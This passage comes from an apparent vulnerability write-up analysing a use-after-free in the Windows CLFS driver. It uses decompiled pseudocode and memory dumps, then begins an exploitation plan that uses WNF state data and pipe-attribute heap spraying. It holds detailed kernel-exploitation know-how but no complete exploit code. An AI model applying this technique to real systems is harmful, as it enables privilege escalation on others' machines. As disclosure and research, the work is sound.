} CClfsBaseFile, *PCLFSBASEFILE;

These fields mainly represent data seen earlier, such as the size of the container, the sector size, the array of metadata blocks and their number, as well as the size of the whole Base Log File and its location in kernel mode memory. Additionally, the class is reference counted, and almost any access to any of its fields is protected by the m_presImage lock, which is an executive resource accessed in either shared or exclusive mode. Finally, each block itself is also referenced in the m_rgcBlockReferences array, noting there’s a limit of 65535 references. When the general block has been referenced at least once, the m_fGeneralBlockReferenced boolean is used to indicate the fact.

Code Analysis

All code listings show decompiled C code; source code is not available in the affected product.
Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

Opening a Log File

The CreateLogFile() function in the Win32 API can be used to open an existing log. This function triggers a call to CClfsBaseFilePersisted::OpenImage() in clfs.sys. The pseudocode of CClfsBaseFilePersisted::OpenImage() is listed below:

long __thiscall
CClfsBaseFilePersisted::OpenImage
          (CClfsBaseFilePersisted *this,_UNICODE_STRING *ExtFileName,_CLFS_FILTER_CONTEXT *ClfsFilterContext,
          unsigned_char param_3,unsigned_char *param_4)

{

[Truncated]

[1]

    Status = CClfsContainer::Open(this->CclfsContainer,ExtFileName,ClfsFilterContext,param_3,local_48);
    if ((int)Status < 0) {
LAB_fffff801226897c8:
        StatusDup = Status;
        if (Status != 0xc0000011) goto LAB_fffff80122689933;
    }
    else {
        StatusDup = Status;
        UVar4 = CClfsContainer::GetRawSectorSize(this->field_0x98_CclfsContainer);
        this->rawsectorSize = UVar4;
        if ((0xfff < UVar4 - 1) || ((UVar4 & 0x1ff) != 0)) {
            Status = 0xc0000098;
            StatusDup = Status;
            goto LAB_fffff80122689933;
        }

[2]

        Status = ReadImage(this,&ClfsControlRecord);
        if ((int)Status < 0) goto LAB_fffff801226897c8;
        StatusDup = Status;
        Status = CClfsContainer::GetContainerSize(this->CclfsContainer,&this->ContainerSize);
        StatusDup = Status;
        if ((int)Status < 0) goto LAB_fffff80122689933;
        ClfsBaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this);
        ControlRecord = ClfsControlRecord;
        if (ClfsBaseLogRecord != NULL) {

[Truncated]

[3]

            if (ClfsControlRecord->eExtendState == 0) goto LAB_fffff80122689933;
            Block = ClfsControlRecord->iExtendBlock;
            if (((((Block != 0) && (Block < this->m_cBlocks)) && (Block < 6)) &&
                ((Block = ClfsControlRecord->iFlushBlock, Block != 0 && (Block < this->m_cBlocks)))) &&
               ((Block < 6 &&
                (m_cbContainer = CClfsBaseFile::GetSize((CClfsBaseFile *)this),
                ControlRecord->cExtendStartSectors < m_cbContainer >> 9 ||
                ControlRecord->cExtendStartSectors == m_cbContainer >> 9)))) {
                cExtendSectors>>1 = ControlRecord->cExtendSectors >> 1;
                uVar8 = (this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9) + cExtendSectors>>1;
                if (ControlRecord->cNewBlockSectors < uVar8 || ControlRecord->cNewBlockSectors == uVar8) {

[4]

                    Status = ExtendMetadataBlock(this,(uint)ControlRecord->iExtendBlock,cExtendSectors>>1);
                    StatusDup = Status;
                    goto LAB_fffff80122689933;
                }
            }
        }
    }

[Truncated]

}

After initializing some in-memory data structures, CClfsContainer:Open() is called to open the existing Base Log File at [1]. ReadImage() is then called to read the Base Log File at [2]. If the current extend state in the Extend Context is not ClfsExtendStateNone(0) at [3], the
possibility to expand the Base Log File is explored.

If the original sector size before the previous extension (ControlRecord->cExtendStartSectors) is less than or equal to the current sector size of
the Base Log File (m_cbContainer), and the sector size of the Block (to be expanded) after the previous extension (ControlRecord->cNewBlockSectors) is less than or equal to the latest required sector size (current sector size of the Block to be expanded this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9 plus the number of sectors previously added cExtendSectors >> 1), the Base Log File needs expansion. ExtendMetadataBlock() is duly called at [4].

Note:

  • In all non-malicious cases, the current extend state is expected to be ClfsExtendStateNone(0) when the log file is written to disk.
  • Since the Extend Context is under attacker control (described below), all the fields discussed above can be set by the attacker.

Reading Base Log File

The CClfsBaseFilePersisted::ReadImage() function called at [2] is responsible for reading the Base Log File from disk. The pseudocode of this function is listed below:

int CClfsBaseFilePersisted::ReadImage
              (CClfsBaseFilePersisted *BaseFilePersisted,_CLFS_CONTROL_RECORD **ClfsControlRecordPtr)

{

[Truncated]

[5]

    BaseFilePersisted->m_cBlocks = 6;
    m_rgBlocks = (CLFS_METADATA_BLOCK *)ExAllocatePoolWithTag(0x200,0x90,0x73666c43);
    BaseFilePersisted->m_rgBlocks = m_rgBlocks;

[Truncated]

[6]

        memset(BaseFilePersisted->m_rgBlocks,0,(ulonglong)BaseFilePersisted->m_cBlocks * 0x18);
        memset(BaseFilePersisted->m_rgcBlockReferences,0,(ulonglong)BaseFilePersisted->m_cBlocks * 2);

[7]

        BaseFilePersisted->m_rgBlocks->cbOffset = 0;
        BaseFilePersisted->m_rgBlocks->cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbOffset = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;

[8]

        local_48 = CClfsBaseFile::GetControlRecord((CClfsBaseFile *)BaseFilePersisted,ClfsControlRecordPtr);

[9]

                        p_Var2 = BaseFilePersisted->m_rgBlocks->pbImage;
                        for (; (uint)indexIter < (uint)BaseFilePersisted->m_cBlocks;
                            indexIter = (ulonglong)((uint)indexIter + 1)) {
                            ControlRecorD = *ClfsControlRecordPtr;
                            pCVar3 = BaseFilePersisted->m_rgBlocks;
                            pCVar1 = ControlRecorD->rgBlocks + indexIter;
                            uVar6 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
                            uVar5 = pCVar1->cbImage;
                            uVar7 = pCVar1->cbOffset;
                            m_rgBlocks = pCVar3 + indexIter;
                            *(undefined4 *)&m_rgBlocks->pbImage = *(undefined4 *)&pCVar1->pbImage;
                            *(undefined4 *)((longlong)&m_rgBlocks->pbImage + 4) = uVar6;
                            m_rgBlocks->cbImage = uVar5;
                            m_rgBlocks->cbOffset = uVar7;
                            pCVar3[indexIter].eBlockType = ControlRecorD->rgBlocks[indexIter].eBlockType;
                            BaseFilePersisted->m_rgBlocks[indexIter].pbImage = NULL;
                        }
                        BaseFilePersisted->m_rgBlocks->pbImage = p_Var2;
                        BaseFilePersisted->m_rgBlocks[1].pbImage = p_Var2;

[10]

                        local_48 = CClfsBaseFile::AcquireMetadataBlock(BaseFilePersisted,ClfsMetaBlockGeneral);
                        if (-1 < (int)local_48) {
                            BaseFilePersisted->field_0x94 = '\x01';
                        }
                        goto LAB_fffff80654e09f9e;

[Truncated]

}

The in-memory buffer of the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File, is allocated (m_rgBlocks) at [5]. Each array entry is identified by the CLFS_METADATA_BLOCK structure, which is of size 0x18. The cBlocks field, which indicates the number of blocks in the array, is set to the default value 6 (Hence, the size of allocation for m_rgBlocks is 0x18 * 6 = 0x90).

The content in m_rgBlocks is initialized to 0 at [6]. The first two entries in m_rgBlocks are for the Control Record and its shadow, both of which have a fixed size of 0x400. The sizes and offsets for these blocks are duly set at [7].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  00000000`00000000 00000000`00000400
ffffc60c`53904390  00000000`00000000 00000000`00000000
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

CClfsBaseFile::GetControlRecord() is called to retrieve the Control Record from the Base Log File at [8]. The pbImage field in the first two entries in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks contains the following values:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

The rgBlocks array from the Control Record is copied into m_rgBlocks at [9]. Thus, the sizes and corresponding offsets of each of the metadata blocks is saved.

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 00000000`00000000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

AcquireMetadataBlock() is called with the second parameter set to ClfsMetaBlockGeneral to read in the General Metadata Block from the Base Log File at [10]. The pbImage field for the corresponding entry and its shadow in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer [17] and [20]).

Reading Control Record

Internally, CClfsBaseFilePersisted::ReadImage() calls CClfsBaseFile::GetControlRecord() to retrieve the Control Record. The pseudocode of
CClfsBaseFile::GetControlRecord() is listed below:

long __thiscall CClfsBaseFile::GetControlRecord(CClfsBaseFile *this,_CLFS_CONTROL_RECORD **ClfsControlRecordptr)

{
    uint iVar4;
    astruct_12 *lVar3;
    _CLFS_LOG_BLOCK_HEADER *pbImage;
    uint RecordOffset;
    uint cbImage;

    *ClfsControlRecordptr = NULL;

[11]

    iVar4 = AcquireMetadataBlock((CClfsBaseFilePersisted *)this,0);
    if (-1 < (int)iVar4) {
        cbImage = this->m_rgBlocks->cbImage;
        ControlMetadataBlock = this->m_rgBlocks->pbImage;
        RecordOffset = pbImage->RecordOffsets[0];
        if (((RecordOffset < cbImage) && (0x6f < RecordOffset)) && (0x67 < cbImage - RecordOffset)) {

[12]

            *ClfsControlRecordptr =
                 (_CLFS_CONTROL_RECORD *)((longlong)ControlMetadataBlock->RecordOffsets + ((ulonglong)RecordOffset - 0x28));
        }
        else {
            iVar4 = 0xc01a000d;
        }
    }
    return (long)iVar4;
}

AcquireMetadataBlock() is called with the second parameter of type _CLFS_METADATA_BLOCK_TYPE set to ClfsMetaBlockControl (0) to acquire the
Control MetaData Block at [11]. The record offset is retrieved and used to calculate the address of the Control Record, which is saved at [12].

Acquiring Metadata Block

The CClfsBaseFile::AcquireMetadataBlock() function is used to acquire a metadata block. The pseudocode of this function is listed below:

int CClfsBaseFile::AcquireMetadataBlock
              (CClfsBaseFilePersisted *ClfsBaseFilePersisted,_CLFS_METADATA_BLOCK_TYPE BlockType)

{
    ulong lVar1;
    longlong BlockTypeDup;

    lVar1 = 0;
    if (((int)BlockType < 0) || ((int)(uint)ClfsBaseFilePersisted->m_cBlocks <= (int)BlockType)) {
        lVar1 = 0xc0000225;
    }
    else {
        BlockTypeDup = (longlong)(int)BlockType;

[13]

        ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
             ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] + 1;

[14]

        if ((ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] == 1) &&
           (lVar1 = (*ClfsBaseFilePersisted->vftable->field_0x8)(ClfsBaseFilePersisted,BlockType), (int)lVar1 < 0))
        {
            ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
                 ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] - 1;
        }
    }
    return (int)lVar1;
}

The m_rgcBlockReferences entry for the Control Metadata Block is increased by 1 to signal its usage at [13].

If the reference count is 1, it is clear the Control Metadata Block was not being actively used (prior to this). In this case, it needs to be read from disk. The second entry in the virtual function table is set to CClfsBaseFilePersisted::ReadMetadataBlock(), which is duly called at [14].

Read Metadata Block

The CClfsBaseFilePersisted::ReadMetadataBlock() function is used to read a metadata block from disk. The pseudocode of this function is listed below:

ulong __thiscall
CClfsBaseFilePersisted::ReadMetadataBlock(CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType)

{

[Truncated]

[15]

    cbImage = this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;
    cbOffset = (PIRP)(ulonglong)this->m_rgBlocks[(longlong)_BlockTypeDup].cbOffset;
    if (cbImage == 0) {
        uVar3 = 0;
    }
    else {
        if (0x6f < cbImage) {

[16]

            ClfsMetadataBlock =
                 (_CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned,(ulonglong)cbImage,0x73666c43);
            if (ClfsMetadataBlock == NULL) {
                uVar1 = 0xc000009a;
            }
            else {

[17]

                this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage = ClfsMetadataBlock;
                memset(ClfsMetadataBlock,0,(ulonglong)cbImage);
                *(undefined4 *)&this->field_0xc8 = 0;
                this->field_0xd0 = 0;
                local_40 = local_40 & 0xffffffff00000000;
                local_50 = CONCAT88(local_50._8_8_,ClfsMetadataBlock);

[18]

                uVar5 = CClfsContainer::ReadSector
                                  ((ULONG_PTR)this->CclfsContainer,this->ObjectBody,NULL,(longlong *)local_50,
                                   cbImage >> 9,&cbOffset);
                uVar3 = (ulong)uVar5;
                if (((int)uVar3 < 0) ||
                   (uVar3 = KeWaitForSingleObject(this->ObjectBody,Executive,'\0','\0',NULL), (int)uVar3 < 0))
                goto LAB_fffff801226841ad;
                this_00 = (CClfsBaseFilePersisted *)ClfsMetadataBlock;

[19]

                uVar3 = ClfsDecodeBlock(ClfsMetadataBlock,cbImage >> 9,*(unsigned_char *)&ClfsMetadataBlock->UpdateCount
                                        ,(unsigned_char)0x10,local_res20);

[Truncated]

                    ShadowBlockType = BlockType + ClfsMetaBlockControlShadow;
                    uVar6 = (ulonglong)ShadowBlockType;

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage = NULL;
                            this->m_rgBlocks[ShadowBlockTypeDup].cbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;

[20]

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage;

[Truncated]

The size of the Metadata block to be read is retrieved and saved in cbImage. Note that these sizes are stored in the Control Record of the Base Log File.

To read the Control Record, the hardcoded value is taken at [15], as the Control Record is of a fixed size. Memory (ClfsMetadataBlock) is allocated to read the metadata block from disk at [16]. The corresponding pbImage entry in m_rgBlocks is filled in and ClfsMetadataBlock is initialized to 0 at [17]. The function CClfsContainer::ReadSector() is called to read the specified number of sectors from disk at [18].

ClfsMetadataBlock now contains the exact contents of the metadata Block as present in the file. It is important to note that the Control Metadata Block contains the Control Context as described earlier. Thus, the contents of the Control Context are fully controlled by the attacker.
ClfsMetadataBlock is decoded via a call to ClfsDecodeBlock at [19]. It is also important to note that in the case of the Control Metadata Block, this does not modify any field in the Control Context. The corresponding shadow pbImage entry in m_rgBlocks is also set to ClfsMetadataBlock at [20].

Extending Metadata Block

The call to ExtendMetadataBlock() at [4] is used to extend the size of a particular metadata block in the Base Log File. The pseudocode of this function pertaining to when the current extend state is ClfsExtendStateFlushingBlock(2) is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlock
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType,unsigned_long cExtendSectors>>1)
{

[Truncated]

    do {
        ret = retDup;
        if (*ExtendPhasePtr != 2) break;
        iFlushBlockPtr = &ClfsControlRecordDup->iFlushBlock;
        iExtendBlockPtr = &ClfsControlRecordDup->iExtendBlock;

[21]

        iFlushBlock = *iFlushBlockPtr;
        iFlushBlockDup = (ulonglong)iFlushBlock;
        iExtendBlock = *iExtendBlockPtr;
        iFlushBlockDup2 = (uint)iFlushBlock;

[22]

        if (((iFlushBlock == iExtendBlock) ||
            (uVar4 = IsShadowBlock(this_00,iFlushBlockDup2,(uint)iExtendBlock),
            uVar4 != (unsigned_char)0x0)) &&
           (this->m_rgBlocks[iFlushBlockDup].cbImage >> 9 <
            ClfsControlRecordDup->cNewBlockSectors)) {
            ExtendMetadataBlockDescriptor
                      (this,iFlushBlockDup2,
                       ClfsControlRecordDup->cExtendSectors >> 1);
            iFlushBlockDup = (ulonglong)*iFlushBlockPtr;
        }
        WriteMetadataBlock(this,(uint)iFlushBlockDup & 0xffff,(unsigned_char)0x0);
        if (*puVar1 == *puVar2) {
            *ExtendPhasePtr = 0;
        }
        else {
            *puVar1 = *puVar1 - 1;

[23]

            ret = ProcessCurrentBlockForExtend(this,ClfsControlRecordDup);
            retDup = ret;
            if ((int)ret < 0) break;
        }

[Truncated]

The index of the block being extended (iFlushBlock) and the block being flushed (iExtendBlock) are extracted from the Extend Context in the Control Record of the Base Log File at [21]. With specially crafted values of the above fields and cNewBlockSectors at [22], code execution reaches ProcessCurrentBlockForExtend() at [23]. ProcessCurrentBlockForExtend() internally calls ExtendMetadataBlockDescriptor(), whose pseudocode is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlockDescriptor
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE iFlushBlock,unsigned_long cExtendSectors>>1)

{

[Truncated]

    iFlushBlockDup = (ulonglong)iFlushBlock;
    NewMetadataBlock = NULL;
    RecordHeader = NULL;
    iVar13 = 0;
    uVar3 = this->m_cbRawSectorSize;
    if (uVar3 == 0) {
        NewSize = 0;
    }
    else {
        NewSize = (uVar3 - 1) + this->m_rgBlocks[iFlushBlockDup].cbImage + cExtendSectors>>1 * 0x200 & -uVar3;
    }
    RecordsParamsPtr = this->m_rgBlocks;
    pCVar1 = RecordsParamsPtr + iFlushBlockDup;
    uVar4 = *(undefined4 *)&pCVar1->pbImage;
    uVar5 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
    uVar3 = pCVar1->cbImage;
    uVar6 = pCVar1->cbOffset;
    CVar2 = RecordsParamsPtr[iFlushBlockDup].eBlockType;
    ShadowIndex._0_4_ = iFlushBlock + ClfsMetaBlockControlShadow;
    ShadowIndex = (ulonglong)(uint)ShadowIndex;
    uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,iFlushBlock,(uint)ShadowIndex);
    if ((uVar7 == (unsigned_char)0x0) &&
       (uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,(unsigned_long)ShadowIndex,iFlushBlock),
       uVar7 != (unsigned_char)0x0)) {
        if (RecordsParamsPtr[iFlushBlockDup].pbImage != NULL) {

[24]

            ExFreePoolWithTag(RecordsParamsPtr[iFlushBlockDup].pbImage,0);
            this->m_rgBlocks[iFlushBlockDup].pbImage = NULL;
            RecordsParamsPtr = this->m_rgBlocks;
            ShadowIndex = (ulonglong)(iFlushBlock + ClfsMetaBlockControlShadow);
        }

[25]

        RecordsParamsPtr[iFlushBlockDup].cbImage = RecordsParamsPtr[ShadowIndex].cbImage;
        m_rgBlocksDup = this->m_rgBlocks;
        m_rgBlocksDup[iFlushBlockDup].pbImage = m_rgBlocks[ShadowIndex].pbImage;

[Truncated]


With carefully crafted values in the Control Record of the Base Log File, code execution reaches [24].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer to [17] and [20]). The pbImage field of the iFlushBlock index in m_rgBlocks is freed, and the corresponding entry is cleared at [24]. For example, if iFlushBlock is set to 2, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

The entry is then repopulated with the shadow index entry at [25].

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

Since the original entry and the shadow index entry pointed to the same memory, the repopulation leaves a reference to freed memory. Any use of the General Metadata Block will refer to this freed memory, resulting in a Use After Free.

The vulnerability can be converted to a double free by closing the handle to the Base Log File. This will trigger a call to FreeMetadataBlock, which will free all pbImage entries in m_rgBlocks.

Exploitation

A basic understanding of the segment heap in the windows kernel introduced since the 19H1 update is required to understand the exploit mechanism. The paper titled “Scoop the Windows 10 pool!” from SSTIC 2020 describes this mechanism in detail.

Windows Notification Facility

Objects from Windows Notification Facility (WNF) are used to groom the heap and convert the use after free into a full exploit. A good understanding of WNF is thus required to understand the exploit. The details about WNF described below are taken from the following sources:

Creating WNF State Name

When a WNF State Name is created via a call to NtCreateWnfStateName(), ExpWnfCreateNameInstance() is called internally to create a name
instance. The pseudocode of ExpWnfCreateNameInstance() is listed below:

ExpWnfCreateNameInstance
          (_WNF_SCOPE_INSTANCE *ScopeInstance,_WNF_STATE_NAME *StateName,undefined4 *param_3,_KPROCESS *param_4,
          _EX_RUNDOWN_REF **param_5)

{

[Truncated]

    uVar23 = (uint)((ulonglong)StateName >> 4) & 3;
    if ((PsInitialSystemProcess == Process) || (uVar23 != 3)) {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {
            SVar20 = 0xa8;
        }
        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithTag(PagedPool,SVar20,0x20666e57);
    }
    else {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {

[1]

            SVar20 = 0xa8;
        }

[2]

        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithQuotaTag(9,SVar20,0x20666e57);
    }


A chunk of size 0xa8 (as seen at [1]) is allocated from the Paged Pool at [2] as a structure of type _WNF_NAME_INSTANCE. This results in an allocation of size 0xc0 from the LFH. This structure is listed below:

struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
    struct _RTL_BALANCED_NODE TreeLinks;                                    //0x10

    // [3]

    struct _WNF_STATE_NAME_STRUCT StateName;                                //0x28
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
    struct _WNF_LOCK StateDataLock;                                         //0x50

    // [4]

    struct _WNF_STATE_DATA* StateData;                                      //0x58
    ULONG CurrentChangeStamp;                                               //0x60
    VOID* PermanentDataStore;                                               //0x68
    struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
    struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
    struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88

    // [5]

    struct _EPROCESS* CreatorProcess;                                       //0x98
    LONG DataSubscribersCount;                                              //0xa0
    LONG CurrentDeliveryCount;                                              //0xa4
}; 

Relevant entries in the _WNF_NAME_INSTANCE structure include:

  • StateName: Uniquely identifies the name instance, shown at [3].
  • StateData: Stores the data associated with the instance, shown at [4].
  • CreatorProcess: Stores the address of the _EPROCESS structure of the process that created the name instance, shown at [5].

The StateData is headed by a structure of type _WNF_STATE_DATA. This structure is listed below:

struct _WNF_STATE_DATA
{
    // [6]

    struct _WNF_NODE_HEADER Header;                                         //0x0

    // [7]

    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
}; 

The StateData pointer is referred to when the WNF State Data is updated and queried. The variable-size data immediately follows the _WNF_STATE_DATA structure.

Updating WNF State Data

When the WNF State Data is updated via a call to NtUpdateWnfStateData(), ExpWnfWriteStateData() is called internally to write to the StateData pointer. The pseudocode of ExpWnfWriteStateData() is listed below.

void ExpWnfWriteStateData
               (_WNF_NAME_INSTANCE *NameInstance,void *InputBuffer,ulonglong Length,int MatchingChangeStamp,
               int CheckStamp)

{

[Truncated]

    if (NameInstance->StateData != (_WNF_STATE_DATA *)0x1) {

[8]

        StateData = NameInstance->StateData;
    }
    LengtH = (uint)(Length & 0xffffffff);

[9]

    if (((StateData == NULL) && ((NameInstance->PermanentDataStore != NULL || (LengtH != 0)))) ||

[10]

       ((StateData != NULL && (StateData->AllocatedSize < LengtH)))) {

[Truncated]

[11]

            StateData = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag(9,(ulonglong)(LengtH + 0x10),0x20666e57);

[Truncated]

[12]

        StateData->Header = (_WNF_NODE_HEADER)0x100904;
        StateData->AllocatedSize = LengtH;

[Truncated]

[13]

        RtlCopyMemory(StateData + 1,InputBuffer,Length & 0xffffffff);
        StateData->DataSize = LengtH;
        StateData->ChangeStamp = uVar5;

[Truncated]

    __security_check_cookie(local_30 ^ (ulonglong)&stack0xffffffffffffff08);
    return;
}

The InputBuffer and Length parameters to the function contain the contents and size of the data. It is important to note that these can be controlled by a user.

The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [8]. If the StateData pointer is NULL (as is the case initially) at [9], or if the current size is lesser than the size of the new data at [10], memory is allocated from the Paged Pool for the new StateData pointer at [11]. It important to note that the size of allocation is the size of the new data (Length) plus 0x10, to account for the _WNF_STATE_DATA header. The Header and AllocateSize fields shown at [6] and [7] of the _WNF_STATE_DATA header are then initialized at [12].

Note that if the current StateData pointer is large enough for the new data, code execution from [8] jumps directly to [13]. Length bytes from the InputBuffer parameter are then copied into the StateData pointer at [13]. The DataSize field in the _WNF_STATE_DATA header is also filled at [13].

Deleting WNF State Name

A WNF State Name can be deleted via a call to NtDeleteWnfStateName(). Among other things, this function frees the associated name instance and StateData buffers described above.

Querying WNF State Data

When WNF State Data is queried via a call to NtQueryWnfStateData(), ExpWnfReadStateData() is called internally to read from the StateData pointer. The pseudocode of ExpWnfReadStateData() is listed below.

undefined4
ExpWnfReadStateData(_WNF_NAME_INSTANCE *NameInstance,undefined4 *param_2,void *OutBuf,uint OutBufSize,undefined4 *param_5)

{

[Truncated]

[14]

    StateData = NameInstance->StateData;
    if (StateData == NULL) {
        *param_2 = 0;
    }
    else {
        if (StateData != (_WNF_STATE_DATA *)0x1) {
            *param_2 = StateData->ChangeStamp;
            *param_5 = StateData->DataSize;

[15]

            if (OutBufSize < StateData->DataSize) {
                local_48 = 0xc0000023;
            }
            else {

[16]

                RtlCopyMemory(OutBuf,StateData + 1,(ulonglong)StateData->DataSize);
                local_48 = 0;
            }
            goto LAB_fffff8054ce2383f;
        }
        *param_2 = NameInstance->CurrentChangeStamp;
    }


The OutBuf and OutBufSize parameters to the function are provided by the user to store the queried data. The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [14]. If the output buffer is large enough to store the data (which is checked at [15]), StateData->DataSize bytes starting right after the StateData header are copied into the output buffer at [16].

Pipe Attributes

After the creation of a pipe, a user has the ability to add attributes to the pipe. The attributes are a key-value pair, and are stored into a linked list. The PipeAttribute object is allocated in the PagedPool, and has the following structure:

struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize;
    char * AttributeValue;
    char data[0];
};

The size of the allocation and the data is fully controlled by an attacker. The AttributeName and AttributeValue are pointers pointing at different offsets of the data field. A pipe attribute can be created on a pipe using the NtFsControlFile syscall, and the 0x11003C control code.

The attribute’s value can then be read using the 0x110038 control code. The AttributeValue pointer and the AttributeValueSize will be used to read the attribute value and return it to the user.

Steps for Exploitation

Exploitation of the vulnerability involves the following steps:

  1. Spray large number of Pipe Attributes of size 0x7a00 to use up all fragmented chunks in VS backend and allocate new ones. The last few will each be allocated on separate segments of size 0x11000, with the last (0x11000-0x7a00) bytes of each segment unused.
  2. Delete one of the later Pipe Attributes. This will consolidate the first 0x7a00 bytes with the remaining bytes in the rest of the segment, and put the entire segment back in the VS backend.
